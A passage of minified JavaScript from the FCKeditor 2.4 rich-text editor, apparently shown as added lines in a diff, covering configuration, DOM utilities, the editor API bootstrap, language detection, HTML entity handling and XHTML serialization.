D;};FCK.AttachToOnSelectionChange=function(A){this.Events.AttachEvent('OnSelectionChange',A);};FCK.CreateLink=function(A){FCK.ExecuteNamedCommand('Unlink');if (A.length>0){var B='javascript:void(0);/*'+(new Date().getTime())+'*/';FCK.ExecuteNamedCommand('CreateLink',B);var C=this.EditorDocument.links;for (i=0;i<C.length;i++){var D=C[i];if (D.href==B){var E=D.innerHTML;D.href=A;D.innerHTML=E;return D;}}};return null;};
+var FCKConfig=FCK.Config={};if (document.location.protocol=='file:'){FCKConfig.BasePath=decodeURIComponent(document.location.pathname.substr(1));FCKConfig.BasePath=FCKConfig.BasePath.replace(/\\/gi, '/');FCKConfig.BasePath='file://'+FCKConfig.BasePath.substring(0,FCKConfig.BasePath.lastIndexOf('/')+1);FCKConfig.FullBasePath=FCKConfig.BasePath;}else{FCKConfig.BasePath=document.location.pathname.substring(0,document.location.pathname.lastIndexOf('/')+1);FCKConfig.FullBasePath=document.location.protocol+'//'+document.location.host+FCKConfig.BasePath;};FCKConfig.EditorPath=FCKConfig.BasePath.replace(/editor\/$/,'');try{FCKConfig.ScreenWidth=screen.width;FCKConfig.ScreenHeight=screen.height;}catch (e){FCKConfig.ScreenWidth=800;FCKConfig.ScreenHeight=600;};FCKConfig.ProcessHiddenField=function(){this.PageConfig={};var A=window.parent.document.getElementById(FCK.Name+'___Config');if (!A) return;var B=A.value.split('&');for (var i=0;i<B.length;i++){if (B[i].length==0) continue;var C=B[i].split('=');var D=decodeURIComponent(C[0]);var E=decodeURIComponent(C[1]);if (D=='CustomConfigurationsPath') FCKConfig[D]=E;else if (E.toLowerCase()=="true") this.PageConfig[D]=true;else if (E.toLowerCase()=="false") this.PageConfig[D]=false;else if (E.length>0&&!isNaN(E)) this.PageConfig[D]=parseInt(E,10);else this.PageConfig[D]=E;}};function FCKConfig_LoadPageConfig(){var A=FCKConfig.PageConfig;for (var B in A) FCKConfig[B]=A[B];};function FCKConfig_PreProcess(){var A=FCKConfig;if (A.AllowQueryStringDebug){try{if ((/fckdebug=true/i).test(window.top.location.search)) A.Debug=true;}catch (e) {/*Ignore it. Much probably we are inside a FRAME where the "top" is in another domain (security error).*/}};if (!A.PluginsPath.EndsWith('/')) A.PluginsPath+='/';if (typeof(A.EditorAreaCSS)=='string') A.EditorAreaCSS=[A.EditorAreaCSS];var B=A.ToolbarComboPreviewCSS;if (!B||B.length==0) A.ToolbarComboPreviewCSS=A.EditorAreaCSS;else if (typeof(B)=='string') A.ToolbarComboPreviewCSS=[B];};FCKConfig.ToolbarSets={};FCKConfig.Plugins={};FCKConfig.Plugins.Items=[];FCKConfig.Plugins.Add=function(A,B,C){FCKConfig.Plugins.Items.AddItem([A,B,C]);};FCKConfig.ProtectedSource={};FCKConfig.ProtectedSource.RegexEntries=[/<!--[\s\S]*?-->/g,/<script[\s\S]*?<\/script>/gi,/<noscript[\s\S]*?<\/noscript>/gi];FCKConfig.ProtectedSource.Add=function(A){this.RegexEntries.AddItem(A);};FCKConfig.ProtectedSource.Protect=function(A){function _Replace(protectedSource){var B=FCKTempBin.AddElement(protectedSource);return '<!--{PS..'+B+'}-->';};for (var i=0;i<this.RegexEntries.length;i++){A=A.replace(this.RegexEntries[i],_Replace);};return A;};FCKConfig.ProtectedSource.Revert=function(A,B){function _Replace(m,opener,index){var C=B?FCKTempBin.RemoveElement(index):FCKTempBin.Elements[index];return FCKConfig.ProtectedSource.Revert(C,B);};return A.replace(/(<|&lt;)!--\{PS..(\d+)\}--(>|&gt;)/g,_Replace);}
+var FCKDebug={};FCKDebug._GetWindow=function(){if (!this.DebugWindow||this.DebugWindow.closed) this.DebugWindow=window.open(FCKConfig.BasePath+'fckdebug.html','FCKeditorDebug','menubar=no,scrollbars=yes,resizable=yes,location=no,toolbar=no,width=600,height=500',true);return this.DebugWindow;};FCKDebug.Output=function(A,B,C){if (!FCKConfig.Debug) return;try{this._GetWindow().Output(A,B);}catch (e) {}};FCKDebug.OutputObject=function(A,B){if (!FCKConfig.Debug) return;try{this._GetWindow().OutputObject(A,B);}catch (e) {}}
+var FCKDomTools={MoveChildren:function(A,B){if (A==B) return;var C;while ((C=A.firstChild)) B.appendChild(A.removeChild(C));},TrimNode:function(A,B){this.LTrimNode(A);this.RTrimNode(A,B);},LTrimNode:function(A){var B;while ((B=A.firstChild)){if (B.nodeType==3){var C=B.nodeValue.LTrim();var D=B.nodeValue.length;if (C.length==0){A.removeChild(B);continue;}else if (C.length<D){B.splitText(D-C.length);A.removeChild(A.firstChild);}};break;}},RTrimNode:function(A,B){var C;while ((C=A.lastChild)){switch (C.nodeType){case 1:if (C.nodeName.toUpperCase()=='BR'&&(B||C.getAttribute('type',2)=='_moz')){A.removeChild(C);continue;};break;case 3:var D=C.nodeValue.RTrim();var E=C.nodeValue.length;if (D.length==0){A.removeChild(C);continue;}else if (D.length<E){C.splitText(D.length);A.removeChild(A.lastChild);}};break;}},RemoveNode:function(A,B){if (B){var C;while ((C=A.firstChild)) A.parentNode.insertBefore(A.removeChild(C),A);};return A.parentNode.removeChild(A);},GetFirstChild:function(A,B){if (typeof (B)=='string') B=[B];var C=A.firstChild;while(C){if (C.nodeType==1&&C.tagName.Equals.apply(C.tagName,B)) return C;C=C.nextSibling;};return null;},GetLastChild:function(A,B){if (typeof (B)=='string') B=[B];var C=A.lastChild;while(C){if (C.nodeType==1&&(!B||C.tagName.Equals(B))) return C;C=C.previousSibling;};return null;},GetPreviousSourceElement:function(A,B,C,D){if (!A) return null;if (C&&A.nodeType==1&&A.nodeName.IEquals(C)) return null;if (A.previousSibling) A=A.previousSibling;else return this.GetPreviousSourceElement(A.parentNode,B,C,D);while (A){if (A.nodeType==1){if (C&&A.nodeName.IEquals(C)) break;if (!D||!A.nodeName.IEquals(D)) return A;}else if (B&&A.nodeType==3&&A.nodeValue.RTrim().length>0) break;if (A.lastChild) A=A.lastChild;else return this.GetPreviousSourceElement(A,B,C,D);};return null;},GetNextSourceElement:function(A,B,C,D){if (!A) return null;if (A.nextSibling) A=A.nextSibling;else return this.GetNextSourceElement(A.parentNode,B,C,D);while (A){if (A.nodeType==1){if (C&&A.nodeName.IEquals(C)) break;if (!D||!A.nodeName.IEquals(D)) return A;}else if (B&&A.nodeType==3&&A.nodeValue.RTrim().length>0) break;if (A.firstChild) A=A.firstChild;else return this.GetNextSourceElement(A,B,C,D);};return null;},InsertAfterNode:function(A,B){return A.parentNode.insertBefore(B,A.nextSibling);},GetParents:function(A){var B=[];while (A){B.splice(0,0,A);A=A.parentNode;};return B;},GetIndexOf:function(A){var B=A.parentNode?A.parentNode.firstChild:null;var C=-1;while (B){C++;if (B==A) return C;B=B.nextSibling;};return-1;}};
+var GECKO_BOGUS='<br type="_moz">';var FCKTools={};FCKTools.CreateBogusBR=function(A){var B=A.createElement('br');B.setAttribute('type','_moz');return B;};FCKTools.AppendStyleSheet=function(A,B){if (typeof(B)=='string') return this._AppendStyleSheet(A,B);else{var C=[];for (var i=0;i<B.length;i++) C.push(this._AppendStyleSheet(A,B[i]));return C;}};FCKTools.GetElementDocument=function (A){return A.ownerDocument||A.document;};FCKTools.GetElementWindow=function(A){return this.GetDocumentWindow(this.GetElementDocument(A));};FCKTools.GetDocumentWindow=function(A){if (FCKBrowserInfo.IsSafari&&!A.parentWindow) this.FixDocumentParentWindow(window.top);return A.parentWindow||A.defaultView;};FCKTools.FixDocumentParentWindow=function(A){A.document.parentWindow=A;for (var i=0;i<A.frames.length;i++) FCKTools.FixDocumentParentWindow(A.frames[i]);};FCKTools.HTMLEncode=function(A){if (!A) return '';A=A.replace(/&/g,'&amp;');A=A.replace(/</g,'&lt;');A=A.replace(/>/g,'&gt;');return A;};FCKTools.AddSelectOption=function(A,B,C){var D=FCKTools.GetElementDocument(A).createElement("OPTION");D.text=B;D.value=C;A.options.add(D);return D;};FCKTools.RunFunction=function(A,B,C,D){if (A) this.SetTimeout(A,0,B,C,D);};FCKTools.SetTimeout=function(A,B,C,D,E){return (E||window).setTimeout(function(){if (D) A.apply(C,[].concat(D));else A.apply(C);},B);};FCKTools.SetInterval=function(A,B,C,D,E){return (E||window).setInterval(function(){A.apply(C,D||[]);},B);};FCKTools.ConvertStyleSizeToHtml=function(A){return A.EndsWith('%')?A:parseInt(A,10);};FCKTools.ConvertHtmlSizeToStyle=function(A){return A.EndsWith('%')?A:(A+'px');};FCKTools.GetElementAscensor=function(A,B){var e=A;var C=","+B.toUpperCase()+",";while (e){if (C.indexOf(","+e.nodeName.toUpperCase()+",")!=-1) return e;e=e.parentNode;};return null;};FCKTools.CreateEventListener=function(A,B){var f=function(){var C=[];for (var i=0;i<arguments.length;i++) C.push(arguments[i]);A.apply(this,C.concat(B));};return f;};FCKTools.IsStrictMode=function(A){return ('CSS1Compat'==(A.compatMode||'CSS1Compat'));};FCKTools.ArgumentsToArray=function(A,B,C){B=B||0;C=C||A.length;var D=[];for (var i=B;i<B+C&&i<A.length;i++) D.push(A[i]);return D;};FCKTools.CloneObject=function(A){var B=function() {};B.prototype=A;return new B;};
+FCKTools.CancelEvent=function(e){return false;};FCKTools._AppendStyleSheet=function(A,B){return A.createStyleSheet(B).owningElement;};FCKTools.ClearElementAttributes=function(A){A.clearAttributes();};FCKTools.GetAllChildrenIds=function(A){var B=[];for (var i=0;i<A.all.length;i++){var C=A.all[i].id;if (C&&C.length>0) B[B.length]=C;};return B;};FCKTools.RemoveOuterTags=function(e){e.insertAdjacentHTML('beforeBegin',e.innerHTML);e.parentNode.removeChild(e);};FCKTools.CreateXmlObject=function(A){var B;switch (A){case 'XmlHttp':B=['MSXML2.XmlHttp','Microsoft.XmlHttp'];break;case 'DOMDocument':B=['MSXML2.DOMDocument','Microsoft.XmlDom'];break;};for (var i=0;i<2;i++){try { return new ActiveXObject(B[i]);}catch (e){}};if (FCKLang.NoActiveX){alert(FCKLang.NoActiveX);FCKLang.NoActiveX=null;};return null;};FCKTools.DisableSelection=function(A){A.unselectable='on';var e,i=0;while ((e=A.all[i++])){switch (e.tagName){case 'IFRAME':case 'TEXTAREA':case 'INPUT':case 'SELECT':break;default:e.unselectable='on';}}};FCKTools.GetScrollPosition=function(A){var B=A.document;var C={ X:B.documentElement.scrollLeft,Y:B.documentElement.scrollTop };if (C.X>0||C.Y>0) return C;return { X:B.body.scrollLeft,Y:B.body.scrollTop };};FCKTools.AddEventListener=function(A,B,C){A.attachEvent('on'+B,C);};FCKTools.RemoveEventListener=function(A,B,C){A.detachEvent('on'+B,C);};FCKTools.AddEventListenerEx=function(A,B,C,D){var o={};o.Source=A;o.Params=D||[];o.Listener=function(ev){return C.apply(o.Source,[ev].concat(o.Params));};if (FCK.IECleanup) FCK.IECleanup.AddItem(null,function() { o.Source=null;o.Params=null;});A.attachEvent('on'+B,o.Listener);A=null;D=null;};FCKTools.GetViewPaneSize=function(A){var B;var C=A.document.documentElement;if (C&&C.clientWidth) B=C;else B=top.document.body;if (B) return { Width:B.clientWidth,Height:B.clientHeight };else return { Width:0,Height:0 };};FCKTools.SaveStyles=function(A){var B={};if (A.className.length>0){B.Class=A.className;A.className='';};var C=A.style.cssText;if (C.length>0){B.Inline=C;A.style.cssText='';};return B;};FCKTools.RestoreStyles=function(A,B){A.className=B.Class||'';A.style.cssText=B.Inline||'';};FCKTools.RegisterDollarFunction=function(A){A.$=A.document.getElementById;};FCKTools.AppendElement=function(A,B){return A.appendChild(this.GetElementDocument(A).createElement(B));};FCKTools.ToLowerCase=function(A){return A.toLowerCase();}
+var FCKeditorAPI;function InitializeAPI(){var A=window.parent;if (!(FCKeditorAPI=A.FCKeditorAPI)){var B='var FCKeditorAPI = {Version : "2.4",VersionBuild : "1148",__Instances : new Object(),GetInstance : function( name ){return this.__Instances[ name ];},_FormSubmit : function(){for ( var name in FCKeditorAPI.__Instances ){var oEditor = FCKeditorAPI.__Instances[ name ] ;if ( oEditor.GetParentForm() == this )oEditor.UpdateLinkedField() ;}this._FCKOriginalSubmit() ;},_FunctionQueue   : {Functions : new Array(),IsRunning : false,Add : function( f ){this.Functions.push( f );if ( !this.IsRunning )this.StartNext();},StartNext : function(){var aQueue = this.Functions ;if ( aQueue.length > 0 ){this.IsRunning = true;aQueue[0].call();}else this.IsRunning = false;},Remove : function( f ){var aQueue = this.Functions;var i = 0, fFunc;while( (fFunc = aQueue[ i ]) ){if ( fFunc == f )aQueue.splice( i,1 );i++ ;}this.StartNext();}}}';if (A.execScript) A.execScript(B,'JavaScript');else{if (FCKBrowserInfo.IsGecko10){eval.call(A,B);}else if (FCKBrowserInfo.IsSafari){var C=A.document;var D=C.createElement('script');D.appendChild(C.createTextNode(B));C.documentElement.appendChild(D);}else A.eval(B);};FCKeditorAPI=A.FCKeditorAPI;};FCKeditorAPI.__Instances[FCK.Name]=FCK;};function _AttachFormSubmitToAPI(){var A=FCK.GetParentForm();if (A){FCKTools.AddEventListener(A,'submit',FCK.UpdateLinkedField);if (!A._FCKOriginalSubmit&&(typeof(A.submit)=='function'||(!A.submit.tagName&&!A.submit.length))){A._FCKOriginalSubmit=A.submit;A.submit=FCKeditorAPI._FormSubmit;}}};function FCKeditorAPI_Cleanup(){delete FCKeditorAPI.__Instances[FCK.Name];};FCKTools.AddEventListener(window,'unload',FCKeditorAPI_Cleanup);
+var FCKImagePreloader=function(){this._Images=[];};FCKImagePreloader.prototype={AddImages:function(A){if (typeof(A)=='string') A=A.split(';');this._Images=this._Images.concat(A);},Start:function(){var A=this._Images;this._PreloadCount=A.length;for (var i=0;i<A.length;i++){var B=document.createElement('img');B.onload=B.onerror=_FCKImagePreloader_OnImage;B._FCKImagePreloader=this;B.src=A[i];_FCKImagePreloader_ImageCache.push(B);}}};var _FCKImagePreloader_ImageCache=[];function _FCKImagePreloader_OnImage(){var A=this._FCKImagePreloader;if ((--A._PreloadCount)==0&&A.OnComplete) A.OnComplete();this._FCKImagePreloader=null;}
+var FCKRegexLib={AposEntity:/&apos;/gi,ObjectElements:/^(?:IMG|TABLE|TR|TD|TH|INPUT|SELECT|TEXTAREA|HR|OBJECT|A|UL|OL|LI)$/i,NamedCommands:/^(?:Cut|Copy|Paste|Print|SelectAll|RemoveFormat|Unlink|Undo|Redo|Bold|Italic|Underline|StrikeThrough|Subscript|Superscript|JustifyLeft|JustifyCenter|JustifyRight|JustifyFull|Outdent|Indent|InsertOrderedList|InsertUnorderedList|InsertHorizontalRule)$/i,BodyContents:/([\s\S]*\<body[^\>]*\>)([\s\S]*)(\<\/body\>[\s\S]*)/i,ToReplace:/___fcktoreplace:([\w]+)/ig,MetaHttpEquiv:/http-equiv\s*=\s*["']?([^"' ]+)/i,HasBaseTag:/<base /i,HtmlOpener:/<html\s?[^>]*>/i,HeadOpener:/<head\s?[^>]*>/i,HeadCloser:/<\/head\s*>/i,FCK_Class:/(\s*FCK__[A-Za-z]*\s*)/,ElementName:/(^[a-z_:][\w.\-:]*\w$)|(^[a-z_]$)/,ForceSimpleAmpersand:/___FCKAmp___/g,SpaceNoClose:/\/>/g,EmptyParagraph:/^<(p|div)>\s*<\/\1>$/i,TagBody:/></,StrongOpener:/<STRONG([ \>])/gi,StrongCloser:/<\/STRONG>/gi,EmOpener:/<EM([ \>])/gi,EmCloser:/<\/EM>/gi,GeckoEntitiesMarker:/#\?-\:/g,ProtectUrlsImg:/(?:(<img(?=\s).*?\ssrc=)("|')(.*?)\2)|(?:(<img\s.*?src=)([^"'][^ >]+))/gi,ProtectUrlsA:/(?:(<a(?=\s).*?\shref=)("|')(.*?)\2)|(?:(<a\s.*?href=)([^"'][^ >]+))/gi,Html4DocType:/HTML 4\.0 Transitional/i,DocTypeTag:/<!DOCTYPE[^>]*>/i,TagsWithEvent:/<[^\>]+ on\w+[\s\r\n]*=[\s\r\n]*?('|")[\s\S]+?\>/g,EventAttributes:/\s(on\w+)[\s\r\n]*=[\s\r\n]*?('|")([\s\S]*?)\2/g,ProtectedEvents:/\s\w+_fckprotectedatt="([^"]+)"/g,StyleProperties:/\S+\s*:/g};var FCKListsLib={BlockElements:{ address:1,blockquote:1,div:1,dl:1,fieldset:1,form:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,hr:1,noscript:1,ol:1,p:1,pre:1,script:1,table:1,ul:1 },NonEmptyBlockElements:{ p:1,div:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,address:1,pre:1,ol:1,ul:1,li:1,td:1,th:1 },PathBlockElements:{ address:1,blockquote:1,div:1,dl:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,p:1,pre:1,ol:1,ul:1,li:1,dt:1,de:1 },InlineChildReqElements:{ abbr:1,acronym:1,b:1,bdo:1,big:1,cite:1,code:1,del:1,dfn:1,em:1,i:1,ins:1,label:1,kbd:1,q:1,samp:1,small:1,span:1,strong:1,sub:1,sup:1,tt:1,'var':1 },EmptyElements:{ base:1,meta:1,link:1,hr:1,br:1,param:1,img:1,area:1,input:1 }};
+var FCKLanguageManager=FCK.Language={AvailableLanguages:{af:'Afrikaans',ar:'Arabic',bg:'Bulgarian',bn:'Bengali/Bangla',bs:'Bosnian',ca:'Catalan',cs:'Czech',da:'Danish',de:'German',el:'Greek',en:'English','en-au':'English (Australia)','en-ca':'English (Canadian)','en-uk':'English (United Kingdom)',eo:'Esperanto',es:'Spanish',et:'Estonian',eu:'Basque',fa:'Persian',fi:'Finnish',fo:'Faroese',fr:'French',gl:'Galician',he:'Hebrew',hi:'Hindi',hr:'Croatian',hu:'Hungarian',it:'Italian',ja:'Japanese',km:'Khmer',ko:'Korean',lt:'Lithuanian',lv:'Latvian',mn:'Mongolian',ms:'Malay',nb:'Norwegian Bokmal',nl:'Dutch',no:'Norwegian',pl:'Polish',pt:'Portuguese (Portugal)','pt-br':'Portuguese (Brazil)',ro:'Romanian',ru:'Russian',sk:'Slovak',sl:'Slovenian',sr:'Serbian (Cyrillic)','sr-latn':'Serbian (Latin)',sv:'Swedish',th:'Thai',tr:'Turkish',uk:'Ukrainian',vi:'Vietnamese',zh:'Chinese Traditional','zh-cn':'Chinese Simplified'},GetActiveLanguage:function(){if (FCKConfig.AutoDetectLanguage){var A;if (navigator.userLanguage) A=navigator.userLanguage.toLowerCase();else if (navigator.language) A=navigator.language.toLowerCase();else{return FCKConfig.DefaultLanguage;};if (A.length>=5){A=A.substr(0,5);if (this.AvailableLanguages[A]) return A;};if (A.length>=2){A=A.substr(0,2);if (this.AvailableLanguages[A]) return A;}};return this.DefaultLanguage;},TranslateElements:function(A,B,C,D){var e=A.getElementsByTagName(B);var E,s;for (var i=0;i<e.length;i++){if ((E=e[i].getAttribute('fckLang'))){if ((s=FCKLang[E])){if (D) s=FCKTools.HTMLEncode(s);eval('e[i].'+C+' = s');}}}},TranslatePage:function(A){this.TranslateElements(A,'INPUT','value');this.TranslateElements(A,'SPAN','innerHTML');this.TranslateElements(A,'LABEL','innerHTML');this.TranslateElements(A,'OPTION','innerHTML',true);},Initialize:function(){if (this.AvailableLanguages[FCKConfig.DefaultLanguage]) this.DefaultLanguage=FCKConfig.DefaultLanguage;else this.DefaultLanguage='en';this.ActiveLanguage={};this.ActiveLanguage.Code=this.GetActiveLanguage();this.ActiveLanguage.Name=this.AvailableLanguages[this.ActiveLanguage.Code];}};
+var FCKXHtmlEntities={};FCKXHtmlEntities.Initialize=function(){if (FCKXHtmlEntities.Entities) return;var A='';var B,e;if (FCKConfig.ProcessHTMLEntities){FCKXHtmlEntities.Entities={' ':'nbsp','¡':'iexcl','¢':'cent','£':'pound','¤':'curren','¥':'yen','¦':'brvbar','§':'sect','¨':'uml','©':'copy','ª':'ordf','«':'laquo','¬':'not','­':'shy','®':'reg','¯':'macr','°':'deg','±':'plusmn','²':'sup2','³':'sup3','´':'acute','µ':'micro','¶':'para','·':'middot','¸':'cedil','¹':'sup1','º':'ordm','»':'raquo','¼':'frac14','½':'frac12','¾':'frac34','¿':'iquest','×':'times','÷':'divide','ƒ':'fnof','•':'bull','…':'hellip','′':'prime','″':'Prime','‾':'oline','⁄':'frasl','℘':'weierp','ℑ':'image','ℜ':'real','™':'trade','ℵ':'alefsym','←':'larr','↑':'uarr','→':'rarr','↓':'darr','↔':'harr','↵':'crarr','⇐':'lArr','⇑':'uArr','⇒':'rArr','⇓':'dArr','⇔':'hArr','∀':'forall','∂':'part','∃':'exist','∅':'empty','∇':'nabla','∈':'isin','∉':'notin','∋':'ni','∏':'prod','∑':'sum','−':'minus','∗':'lowast','√':'radic','∝':'prop','∞':'infin','∠':'ang','∧':'and','∨':'or','∩':'cap','∪':'cup','∫':'int','∴':'there4','∼':'sim','≅':'cong','≈':'asymp','≠':'ne','≡':'equiv','≤':'le','≥':'ge','⊂':'sub','⊃':'sup','⊄':'nsub','⊆':'sube','⊇':'supe','⊕':'oplus','⊗':'otimes','⊥':'perp','⋅':'sdot','◊':'loz','♠':'spades','♣':'clubs','♥':'hearts','♦':'diams','"':'quot','ˆ':'circ','˜':'tilde',' ':'ensp',' ':'emsp',' ':'thinsp','‌':'zwnj','‍':'zwj','‎':'lrm','‏':'rlm','–':'ndash','—':'mdash','‘':'lsquo','’':'rsquo','‚':'sbquo','“':'ldquo','”':'rdquo','„':'bdquo','†':'dagger','‡':'Dagger','‰':'permil','‹':'lsaquo','›':'rsaquo','€':'euro'};for (e in FCKXHtmlEntities.Entities) A+=e;if (FCKConfig.IncludeLatinEntities){B={'À':'Agrave','Á':'Aacute','Â':'Acirc','Ã':'Atilde','Ä':'Auml','Å':'Aring','Æ':'AElig','Ç':'Ccedil','È':'Egrave','É':'Eacute','Ê':'Ecirc','Ë':'Euml','Ì':'Igrave','Í':'Iacute','Î':'Icirc','Ï':'Iuml','Ð':'ETH','Ñ':'Ntilde','Ò':'Ograve','Ó':'Oacute','Ô':'Ocirc','Õ':'Otilde','Ö':'Ouml','Ø':'Oslash','Ù':'Ugrave','Ú':'Uacute','Û':'Ucirc','Ü':'Uuml','Ý':'Yacute','Þ':'THORN','ß':'szlig','à':'agrave','á':'aacute','â':'acirc','ã':'atilde','ä':'auml','å':'aring','æ':'aelig','ç':'ccedil','è':'egrave','é':'eacute','ê':'ecirc','ë':'euml','ì':'igrave','í':'iacute','î':'icirc','ï':'iuml','ð':'eth','ñ':'ntilde','ò':'ograve','ó':'oacute','ô':'ocirc','õ':'otilde','ö':'ouml','ø':'oslash','ù':'ugrave','ú':'uacute','û':'ucirc','ü':'uuml','ý':'yacute','þ':'thorn','ÿ':'yuml','Œ':'OElig','œ':'oelig','Š':'Scaron','š':'scaron','Ÿ':'Yuml'};for (e in B){FCKXHtmlEntities.Entities[e]=B[e];A+=e;};B=null;};if (FCKConfig.IncludeGreekEntities){B={'Α':'Alpha','Β':'Beta','Γ':'Gamma','Δ':'Delta','Ε':'Epsilon','Ζ':'Zeta','Η':'Eta','Θ':'Theta','Ι':'Iota','Κ':'Kappa','Λ':'Lambda','Μ':'Mu','Ν':'Nu','Ξ':'Xi','Ο':'Omicron','Π':'Pi','Ρ':'Rho','Σ':'Sigma','Τ':'Tau','Υ':'Upsilon','Φ':'Phi','Χ':'Chi','Ψ':'Psi','Ω':'Omega','α':'alpha','β':'beta','γ':'gamma','δ':'delta','ε':'epsilon','ζ':'zeta','η':'eta','θ':'theta','ι':'iota','κ':'kappa','λ':'lambda','μ':'mu','ν':'nu','ξ':'xi','ο':'omicron','π':'pi','ρ':'rho','ς':'sigmaf','σ':'sigma','τ':'tau','υ':'upsilon','φ':'phi','χ':'chi','ψ':'psi','ω':'omega'};for (e in B){FCKXHtmlEntities.Entities[e]=B[e];A+=e;};B=null;}}else{FCKXHtmlEntities.Entities={};A=' ';};var C='['+A+']';if (FCKConfig.ProcessNumericEntities) C='[^ -~]|'+C;var D=FCKConfig.AdditionalNumericEntities;if (D&&D.length>0) C+='|'+FCKConfig.AdditionalNumericEntities;FCKXHtmlEntities.EntitiesRegex=new RegExp(C,'g');}
+var FCKXHtml={};FCKXHtml.CurrentJobNum=0;FCKXHtml.GetXHTML=function(A,B,C){FCKXHtmlEntities.Initialize();var D=FCK.IsDirty();this._CreateNode=FCKConfig.ForceStrongEm?FCKXHtml_CreateNode_StrongEm:FCKXHtml_CreateNode_Normal;FCKXHtml.SpecialBlocks=[];this.XML=FCKTools.CreateXmlObject('DOMDocument');this.MainNode=this.XML.appendChild(this.XML.createElement('xhtml'));FCKXHtml.CurrentJobNum++;if (B) this._AppendNode(this.MainNode,A);else this._AppendChildNodes(this.MainNode,A,false);var E=this._GetMainXmlString();this.XML=null;E=E.substr(7,E.length-15).Trim();if (FCKBrowserInfo.IsGecko) E=E.replace(/<br\/>$/,'');E=E.replace(FCKRegexLib.SpaceNoClose,' />');if (FCKConfig.ForceSimpleAmpersand) E=E.replace(FCKRegexLib.ForceSimpleAmpersand,'&');if (C) E=FCKCodeFormatter.Format(E);for (var i=0;i<FCKXHtml.SpecialBlocks.length;i++){var F=new RegExp('___FCKsi___'+i);E=E.replace(F,FCKXHtml.SpecialBlocks[i]);};E=E.replace(FCKRegexLib.GeckoEntitiesMarker,'&');if (!D) FCK.ResetIsDirty();return E;};FCKXHtml._AppendAttribute=function(A,B,C){try{if (C==undefined||C==null) C='';else if (C.replace){if (FCKConfig.ForceSimpleAmpersand) C=C.replace(/&/g,'___FCKAmp___');C=C.replace(FCKXHtmlEntities.EntitiesRegex,FCKXHtml_GetEntity);};var D=this.XML.createAttribute(B);D.value=C;A.attributes.setNamedItem(D);}catch (e){}};FCKXHtml._AppendChildNodes=function(A,B,C){if (C) FCKDomTools.TrimNode(B);var D=0;var E=B.firstChild;while (E){if (this._AppendNode(A,E)) D++;E=E.nextSibling;};if (D==0){if (C&&FCKConfig.FillEmptyBlocks){this._AppendEntity(A,'nbsp');return A;};var F=A.nodeName;if (FCKListsLib.InlineChildReqElements[F]) return null;if (!FCKListsLib.EmptyElements[F]) A.appendChild(this.XML.createTextNode(''));};return A;};FCKXHtml._AppendNode=function(A,B){if (!B) return false;switch (B.nodeType){case 1:if (B.getAttribute('_fckfakelement')) return FCKXHtml._AppendNode(A,FCK.GetRealElement(B));if (FCKBrowserInfo.IsGecko&&B.hasAttribute('_moz_editor_bogus_node')) return false;if (B.getAttribute('_fcktemp')) return false;var C=B.tagName.toLowerCase();if (FCKBrowserInfo.IsIE){if (B.scopeName&&B.scopeName!='HTML'&&B.scopeName!='FCK') C=B.scopeName.toLowerCase()+':'+C;}else{if (C.StartsWith('fck:')) C=C.Remove(0,4);};if (!FCKRegexLib.ElementName.test(C)) return false;if (C=='br'&&(B.getAttribute('type',2)=='_moz'||!B.nextSibling)) return false;if (B._fckxhtmljob&&B._fckxhtmljob==FCKXHtml.CurrentJobNum) return false;var D=this._CreateNode(C);FCKXHtml._AppendAttributes(A,B,D,C);B._fckxhtmljob=FCKXHtml.CurrentJobNum;var E=FCKXHtml.TagProcessors[C];if (E) D=E(D,B,A);else D=this._AppendChildNodes(D,B,Boolean(FCKListsLib.NonEmptyBlockElements[C]));if (!D) break;A.appendChild(D);break;case 3:return this._AppendTextNode(A,B.nodeValue.ReplaceNewLineChars(' '));case 8:if (FCKBrowserInfo.IsIE&&!B.innerHTML) break;try { A.appendChild(this.XML.createComment(B.nodeValue));}catch (e) {/*Do nothing... probably this is a wrong format comment.*/};break;default:A.appendChild(this.XML.createComment("Element not supported - Type: "+B.nodeType+" Name: "+B.nodeName));break;};return true;};function FCKXHtml_CreateNode_StrongEm(A){switch (A){case 'b':A='strong';break;case 'i':A='em';break;};return this.XML.createElement(A);};function FCKXHtml_CreateNode_Normal(A){return this.XML.createElement(A);};FCKXHtml._AppendSpecialItem=function(A){return '___FCKsi___'+FCKXHtml.SpecialBlocks.AddItem(A);};FCKXHtml._AppendEntity=function(A,B){A.appendChild(this.XML.createTextNode('#?-:'+B+';'));};FCKXHtml._AppendTextNode=function(A,B){var C=B.length>0;if (C) A.appendChild(this.XML.createTextNode(B.replace(FCKXHtmlEntities.EntitiesRegex,FCKXHtml_GetEntity)));return C;};function FCKXHtml_GetEntity(A){var B=FCKXHtmlEntities.Entities[A]||('#'+A.charCodeAt(0));return '#?-:'+B+';';};FCKXHtml._RemoveAttribute=function(A,B,C){var D=A.attributes.getNamedItem(C);if (D&&B.test(D.nodeValue)){var E=D.nodeValue.replace(B,'');if (E.length==0) A.attributes.removeNamedItem(C);else D.nodeValue=E;}};FCKXHtml.TagProcessors={img:function(A,B){if (!A.attributes.getNamedItem('alt')) FCKXHtml._AppendAttribute(A,'alt','');var C=B.getAttribute('_fcksavedurl');if (C!=null) FCKXHtml._AppendAttribute(A,'src',C);return A;},a:function(A,B){if (B.innerHTML.Trim().length==0&&!B.name) return false;var C=B.getAttribute('_fcksavedurl');if (C!=null) FCKXHtml._AppendAttribute(A,'href',C);if (FCKBrowserInfo.IsIE){FCKXHtml._RemoveAttribute(A,FCKRegexLib.FCK_Class,'class');if (B.name) FCKXHtml._AppendAttribute(A,'name',B.name);};FCKXHtml._AppendChildNodes(A,B,false);return A;},script:function(A,B){if (!A.attributes.getNamedItem('type')) FCKXHtml._AppendAttribute(A,'type','text/javascript');A.appendChild(FCKXHtml.XML.createTextNode(FCKXHtml._AppendSpecialItem(B.text)));return A;},style:function(A,B){if (!A.attributes.getNamedItem('type')) FCKXHtml._AppendAttribute(A,'type','text/css');A.appendChild(FCKXHtml.XML.createTextNode(FCKXHtml._AppendSpecialItem(B.innerHTML)));return A;},title:function(A,B){A.appendChild(FCKXHtml.XML.createTextNode(FCK.EditorDocument.title));return A;},table:function(A,B){if (FCKBrowserInfo.IsIE) FCKXHtml._RemoveAttribute(A,FCKRegexLib.FCK_Class,'class');FCKXHtml._AppendChildNodes(A,B,false);return A;},ol:function(A,B,C){if (B.innerHTML.Trim().length==0) return false;var D=C.lastChild;if 